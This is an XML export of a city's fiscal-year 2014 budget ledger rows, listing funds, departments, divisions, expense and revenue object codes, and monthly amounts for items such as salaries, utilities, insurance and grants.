<row _id="9083"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1091.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1091.0</total></row>
<row _id="9084"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="9085"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9240.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9240.0</total></row>
<row _id="9086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12625.0</total></row>
<row _id="9087"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1127499.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>18077</december><january>-174.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1145402.0</total></row>
<row _id="9088"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1017524.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>12345</december><january>-20.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1029849.0</total></row>
<row _id="9089"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="9090"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="9091"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1085.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1085.0</total></row>
<row _id="9092"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="9093"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
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<row _id="9096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="9097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38000.0</total></row>
<row _id="9098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522070.0</object><object_description>DEPOSITION COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>56000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56000.0</total></row>
<row _id="9099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18222.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18222.0</total></row>
<row _id="9100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>415381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>415381.0</total></row>
<row _id="9101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="9102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="9103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>305589.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>4935</december><january>-116.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>310408.0</total></row>
<row _id="9104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>557.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>557.0</total></row>
<row _id="9105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="9106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400870.0</object><object_description>LEASE RENTAL REVENUE-DOWNTOWN</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-350188.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-350188.0</total></row>
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<row _id="9108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400810.0</object><object_description>PEACE OFFICERS TRAINING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-89778.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-89778.0</total></row>
<row _id="9109"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401460.0</object><object_description>POLICE SERV-FINGERPRINTING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-33501.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33501.0</total></row>
<row _id="9110"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2200.0</total></row>
<row _id="9111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6334.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6334.0</total></row>
<row _id="9112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>616487.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>616487.0</total></row>
<row _id="9113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20499.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>174.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20673.0</total></row>
<row _id="9114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12138.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12138.0</total></row>
<row _id="9115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
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<row _id="9118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12950.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12950.0</total></row>
<row _id="9119"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522000.0</object><object_description>UNRECOVERED INSURANCE LOSS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>400029.31</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400029.31</total></row>
<row _id="9120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
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<row _id="9122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6683.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6683.0</total></row>
<row _id="9123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23500.0</total></row>
<row _id="9124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5951.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>67.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6018.0</total></row>
<row _id="9125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1010.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1010.0</total></row>
<row _id="9126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>70000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="9127"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="9128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401920.0</object><object_description>FARMERS' MARKET</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-861000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-861000.0</total></row>
<row _id="9129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>401180.0</object><object_description>DISPLACEMENT RELOCATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="9130"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404950.0</object><object_description>HOME INVESTMENT PARTNERSHIPS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-461670.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-461670.0</total></row>
<row _id="9131"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400470.0</object><object_description>POLICE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-12350.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12350.0</total></row>
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<row _id="9157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14010.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14010.0</total></row>
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<row _id="9159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7718.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7718.0</total></row>
<row _id="9160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
